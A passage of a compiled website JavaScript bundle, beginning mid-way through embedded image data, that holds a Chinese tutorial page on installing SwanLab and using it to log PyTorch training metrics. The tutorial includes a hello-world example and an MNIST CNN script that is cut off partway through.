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"},38830:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129223221641-e5264b3c6e84323c268690bd59ec0f0f.png"},54849:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129221603529-0356acbc4f9fb437067314df3b997e9e.png"},63275:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234152977-5634203-bdf409199c8fa4669f40fe1cbb125c2f.png"},75931:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129233842493-815d2024432f25884f498a2e72a008dd.png"},77334:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129221123486-5af5fde947170b24cc1a0e6128114096.png"},84628:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234000275-73107f27ca7e92a5b1de64a99dd9ba31.png"},85844:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129215233580-2ae1265359871a80b335075bc9d97c6c.png"},92167:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129220950545-cb59080820e8171a03ab838fdd4850c6.png"},92540:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234013450-5634203-5b926001e24f6dc38a3983f4a36eb9b3.png"}}]); \ No newline at end of file diff --git a/assets/js/82e2efaa.294d0769.js b/assets/js/82e2efaa.294d0769.js new file mode 100644 index 0000000..a165e0b --- /dev/null +++ b/assets/js/82e2efaa.294d0769.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3443],{1019:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_hello_world-e03d035ee58db79578ebe9d45b94dd5d.png"},28453:(n,e,a)=>{a.d(e,{R:()=>i,x:()=>o});var s=a(96540);const t={},l=s.createContext(t);function i(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:i(n.components),s.createElement(l.Provider,{value:e},n.children)}},39764:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_yolo_2-0fbfa1a29b096b08a664093fb15d4d20.png"},45802:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_mnist_2-3ddd5bbcaa443b245f1cc92a62daf3b4.png"},60893:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_yolo_3-fda63f4a11b2e3a16f6f0ae91c1d5fd2.png"},62223:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_yolo_1-18056c8c541e1065021c7ae3653ea780.png"},69859:(n,e,a)=>{a.r(e),a.d(e,{assets:()=>r,contentTitle:()=>o,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"},"next":{"title":"\u7b2c\u516b\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/"}}');var t=a(74848),l=a(28453);const i={},o="7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md",r={},c=[{value:"7.5.1 SwanLab\u7684\u5b89\u88c5",id:"751-swanlab\u7684\u5b89\u88c5",level:2},{value:"7.5.2 SwanLab\u7684\u57fa\u672c\u4f7f\u7528",id:"752-swanlab\u7684\u57fa\u672c\u4f7f\u7528",level:2},{value:"7.5.3 SwanLab\u8ddf\u8e2aMNIST\u6848\u4f8b",id:"753-swanlab\u8ddf\u8e2amnist\u6848\u4f8b",level:2},{value:"7.5.4 SwanLab\u8ddf\u8e2aYOLO\u6848\u4f8b",id:"754-swanlab\u8ddf\u8e2ayolo\u6848\u4f8b",level:2}];function d(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"75-\u4f7f\u7528swanlab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0bmd",children:"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(e.h1,{id:"75-\u4f7f\u7528swanlab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b",children:"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4e0a\u4e00\u8282\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e86Wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u4f46\u662fWandb\u5c06\u6570\u636e\u5b58\u50a8\u5728\u6d77\u5916\uff0c\u5728\u56fd\u5185\u7684\u7f51\u7edc\u73af\u5883\u4e0b\u8bbf\u95ee\u901f\u5ea6\u8f83\u6162\uff0c\u4e14\u5bb9\u6613\u65ad\u8fde\u3002SwanLab\u662f\u4e00\u4e2a\u7531\u4e2d\u56fd\u56e2\u961f\u5f00\u53d1\u7684\u8bad\u7ec3\u53ef\u89c6\u5316\u5e73\u53f0\uff0c\u56fd\u5185\u8bbf\u95ee\u7a33\u5b9a\u6d41\u7545\uff0c\u5728\u529f\u80fd\u4e0a\u652f\u6301\u81ea\u52a8\u8bb0\u5f55\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u7684\u8d85\u53c2\u6570\u548c\u8f93\u51fa\u6307\u6807\uff0c\u7136\u540e\u53ef\u89c6\u5316\u548c\u6bd4\u8f83\u7ed3\u679c\uff0c\u5e76\u5feb\u901f\u4e0e\u5176\u4ed6\u4eba\u5171\u4eab\u7ed3\u679c\u3002\u76ee\u524d\u5b83\u8fd8\u652f\u6301\u76d1\u63a7\u6607\u817eNPU\u7684\u8bad\u7ec3\u60c5\u51b5\uff0c\u80fd\u591f\u548cPyTorch\u3001Keras\u3001MMDetection\u3001LLaMA Factory\u3001LightGBM\u3001XGBoost\u7b49\u6846\u67b6\u7ed3\u5408\u4f7f\u7528\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"SwanLab\u7684\u5b89\u88c5"}),"\n",(0,t.jsx)(e.li,{children:"SwanLab\u7684\u57fa\u672c\u4f7f\u7528"}),"\n",(0,t.jsx)(e.li,{children:"SwanLab\u8ddf\u8e2aMNIST\u6848\u4f8b"}),"\n",(0,t.jsx)(e.li,{children:"SwanLab\u8ddf\u8e2aYOLO\u6848\u4f8b"}),"\n"]}),"\n",(0,t.jsx)(e.h2,{id:"751-swanlab\u7684\u5b89\u88c5",children:"7.5.1 SwanLab\u7684\u5b89\u88c5"}),"\n",(0,t.jsx)(e.p,{children:"SwanLab\u7684\u5b89\u88c5\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528pip\u5b89\u88c5\u5373\u53ef\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-bash",children:"pip install swanlab\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5b89\u88c5\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u9700\u8981\u5728",(0,t.jsx)(e.a,{href:"https://swanlab.cn/",children:"\u5b98\u7f51"}),"\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5e76\u590d\u5236\u4e0b\u81ea\u5df1\u7684API keys\uff0c\u7136\u540e\u5728\u672c\u5730\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u767b\u5f55\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-bash",children:"swanlab login\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u65f6\uff0c\u6211\u4eec\u4f1a\u770b\u5230\u4e0b\u9762\u7684\u754c\u9762\uff0c\u53ea\u9700\u8981\u7c98\u8d34\u4f60\u7684API keys\u5373\u53ef\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(77973).A+"",width:"1626",height:"78"})}),"\n",(0,t.jsx)(e.h2,{id:"752-swanlab\u7684\u57fa\u672c\u4f7f\u7528",children:"7.5.2 SwanLab\u7684\u57fa\u672c\u4f7f\u7528"}),"\n",(0,t.jsx)(e.p,{children:"SwanLab\u7684\u4f7f\u7528\u4e5f\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u4ee3\u7801\u4e2d\u6dfb\u52a0\u51e0\u884c\u4ee3\u7801\u5373\u53ef\uff0c\u5927\u6982\u5206\u4e3a\u4e24\u6b65\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u7b2c\u4e00\u6b65\uff0c\u521d\u59cb\u5316\u9879\u76ee\uff1a"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'import swanlab\n\nswanlab.init(project="my-project", experiment_name="first_exp")\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u7684project\u548cexperiment_name\u662f\u4f60\u5728swanlab\u4e0a\u521b\u5efa\u7684\u9879\u76ee\u540d\u79f0\u548c\u5b9e\u9a8c\u540d\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u9879\u76ee\u548c\u5b9e\u9a8c\u7684\u5173\u7cfb\u6709\u70b9\u7c7b\u4f3cPC\u4e2d\u7684\u6587\u4ef6\u5939\u548c\u6587\u4ef6\u7684\u5173\u7cfb\uff0c\u4f60\u7684\u6bcf\u6b21\u8bad\u7ec3\u8fdb\u7a0b\u90fd\u662f\u4e00\u4e2a\u5b9e\u9a8c\uff0c\u800c\u9879\u76ee\u662f\u5b9e\u9a8c\u7684\u96c6\u5408\uff0c\u7528\u6765\u8fdb\u884c\u591a\u4e2a\u5b9e\u9a8c\u4e4b\u95f4\u7684\u5bf9\u6bd4\u4e0e\u7ba1\u7406\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u7b2c\u4e8c\u6b65\uff0c\u8bb0\u5f55\u6570\u636e\uff1a"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'for i in range(10):\n swanlab.log({"loss": 1-0.1*i, "acc": 0.1*i})\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u7684log\u662f\u8bb0\u5f55\u6307\u6807\u7684\u51fd\u6570\uff0c\u5b83\u63a5\u6536\u4e00\u4e2a\u5b57\u5178\uff0c\u5b57\u5178\u7684key\u662f\u6307\u6807\u7684\u540d\u79f0\uff0cvalue\u662f\u6307\u6807\u7684\u503c\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"Hello World\u4ee3\u7801"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'import swanlab\nimport random\n\n# \u521b\u5efa\u4e00\u4e2aSwanLab\u9879\u76ee\nswanlab.init(\n # \u8bbe\u7f6e\u9879\u76ee\u540d\n project="my-awesome-project",\n \n # \u8bbe\u7f6e\u8d85\u53c2\u6570\n config={\n "learning_rate": 0.02,\n "architecture": "CNN",\n "dataset": "CIFAR-100",\n "epochs": 10\n }\n)\n\n# \u6a21\u62df\u4e00\u6b21\u8bad\u7ec3\nepochs = 10\noffset = random.random() / 5\nfor epoch in range(2, epochs):\n acc = 1 - 2 ** -epoch - random.random() / epoch - offset\n loss = 2 ** -epoch + random.random() / epoch + offset\n\n # \u8bb0\u5f55\u8bad\u7ec3\u6307\u6807\n swanlab.log({"acc": acc, "loss": loss})\n\n# [\u53ef\u9009] \u5b8c\u6210\u8bad\u7ec3\uff0c\u8fd9\u5728notebook\u73af\u5883\u4e2d\u662f\u5fc5\u8981\u7684\nswanlab.finish()\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u8fd0\u884c\u5b8c\u4e0a\u9762\u7684\u4ee3\u7801\u540e\uff0c\u5c31\u53ef\u4ee5\u5728swanlab\u7684\u754c\u9762\u770b\u5230\u6211\u4eec\u7684\u8bad\u7ec3\u7ed3\u679c\u4e86\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"swanlab hello world",src:a(1019).A+"",width:"3684",height:"1312"})}),"\n",(0,t.jsx)(e.h2,{id:"753-swanlab\u8ddf\u8e2amnist\u6848\u4f8b",children:"7.5.3 SwanLab\u8ddf\u8e2aMNIST\u6848\u4f8b"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4e00\u4e2aMNSIT\u624b\u5199\u4f53\u8bc6\u522b\u7684demo\u6765\u6f14\u793aSwanLab\u7684\u4f7f\u7528\u3002 ",(0,t.jsx)(e.a,{href:"https://swanlab.cn/@ZeyiLin/MNIST-example/runs/4plp6w0qehoqpt0uq2tcy/chart",children:"\u9884\u89c8\u94fe\u63a5"}),"\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'import os\nimport torch\nfrom torch import nn, optim, utils\nimport torch.nn.functional as F\nimport torchvision\nfrom torchvision.datasets import MNIST\nfrom torchvision.transforms import ToTensor\nimport swanlab\n\n# CNN\u7f51\u7edc\u6784\u5efa\nclass ConvNet(nn.Module):\n def __init__(self):\n super().__init__()\n # 1,28x28\n self.conv1 = nn.Conv2d(1, 10, 5) # 10, 24x24\n self.conv2 = nn.Conv2d(10, 20, 3) # 128, 10x10\n self.fc1 = nn.Linear(20 * 10 * 10, 500)\n self.fc2 = nn.Linear(500, 10)\n\n def forward(self, x):\n in_size = x.size(0)\n out = self.conv1(x) # 24\n out = F.relu(out)\n out = F.max_pool2d(out, 2, 2) # 12\n out = self.conv2(out) # 10\n out = F.relu(out)\n out = out.view(in_size, -1)\n out = self.fc1(out)\n out = F.relu(out)\n out = self.fc2(out)\n out = F.log_softmax(out, dim=1)\n return out\n\n\n# \u6355\u83b7\u5e76\u53ef\u89c6\u5316\u524d20\u5f20\u56fe\u50cf\ndef log_images(loader, num_images=16):\n images_logged = 0\n logged_images = []\n for images, labels in loader:\n # images: batch of images, labels: batch of labels\n for i in range(images.shape[0]):\n if images_logged < num_images:\n # \u4f7f\u7528swanlab.Image\u5c06\u56fe\u50cf\u8f6c\u6362\u4e3awandb\u53ef\u89c6\u5316\u683c\u5f0f\n logged_images.append(swanlab.Image(images[i], caption=f"Label: {labels[i]}"))\n images_logged += 1\n else:\n break\n if images_logged >= num_images:\n break\n swanlab.log({"MNIST-Preview": logged_images})\n \n\ndef train(model, device, train_dataloader, optimizer, criterion, epoch, num_epochs):\n model.train()\n # 1. \u5faa\u73af\u8c03\u7528train_dataloader\uff0c\u6bcf\u6b21\u53d6\u51fa1\u4e2abatch_size\u7684\u56fe\u50cf\u548c\u6807\u7b7e\n for iter, (inputs, labels) in enumerate(train_dataloader):\n inputs, labels = inputs.to(device), labels.to(device)\n optimizer.zero_grad()\n # 2. \u4f20\u5165\u5230resnet18\u6a21\u578b\u4e2d\u5f97\u5230\u9884\u6d4b\u7ed3\u679c\n outputs = model(inputs)\n # 3. \u5c06\u7ed3\u679c\u548c\u6807\u7b7e\u4f20\u5165\u635f\u5931\u51fd\u6570\u4e2d\u8ba1\u7b97\u4ea4\u53c9\u71b5\u635f\u5931\n loss = criterion(outputs, labels)\n # 4. \u6839\u636e\u635f\u5931\u8ba1\u7b97\u53cd\u5411\u4f20\u64ad\n loss.backward()\n # 5. \u4f18\u5316\u5668\u6267\u884c\u6a21\u578b\u53c2\u6570\u66f4\u65b0\n optimizer.step()\n print(\'Epoch [{}/{}], Iteration [{}/{}], Loss: {:.4f}\'.format(epoch, num_epochs, iter + 1, len(train_dataloader),\n loss.item()))\n # 6. \u6bcf20\u6b21\u8fed\u4ee3\uff0c\u7528SwanLab\u8bb0\u5f55\u4e00\u4e0bloss\u7684\u53d8\u5316\n if iter % 20 == 0:\n swanlab.log({"train/loss": loss.item()})\n\ndef test(model, device, val_dataloader, epoch):\n model.eval()\n correct = 0\n total = 0\n with torch.no_grad():\n # 1. \u5faa\u73af\u8c03\u7528val_dataloader\uff0c\u6bcf\u6b21\u53d6\u51fa1\u4e2abatch_size\u7684\u56fe\u50cf\u548c\u6807\u7b7e\n for inputs, labels in val_dataloader:\n inputs, labels = inputs.to(device), labels.to(device)\n # 2. \u4f20\u5165\u5230resnet18\u6a21\u578b\u4e2d\u5f97\u5230\u9884\u6d4b\u7ed3\u679c\n outputs = model(inputs)\n # 3. \u83b7\u5f97\u9884\u6d4b\u7684\u6570\u5b57\n _, predicted = torch.max(outputs, 1)\n total += labels.size(0)\n # 4. \u8ba1\u7b97\u4e0e\u6807\u7b7e\u4e00\u81f4\u7684\u9884\u6d4b\u7ed3\u679c\u7684\u6570\u91cf\n correct += (predicted == labels).sum().item()\n \n # 5. \u5f97\u5230\u6700\u7ec8\u7684\u6d4b\u8bd5\u51c6\u786e\u7387\n accuracy = correct / total\n # 6. \u7528SwanLab\u8bb0\u5f55\u4e00\u4e0b\u51c6\u786e\u7387\u7684\u53d8\u5316\n swanlab.log({"val/accuracy": accuracy}, step=epoch)\n \n\nif __name__ == "__main__":\n\n #\u68c0\u6d4b\u662f\u5426\u652f\u6301mps\n try:\n use_mps = torch.backends.mps.is_available()\n except AttributeError:\n use_mps = False\n\n #\u68c0\u6d4b\u662f\u5426\u652f\u6301cuda\n if torch.cuda.is_available():\n device = "cuda"\n elif use_mps:\n device = "mps"\n else:\n device = "cpu"\n\n # \u521d\u59cb\u5316swanlab\n run = swanlab.init(\n 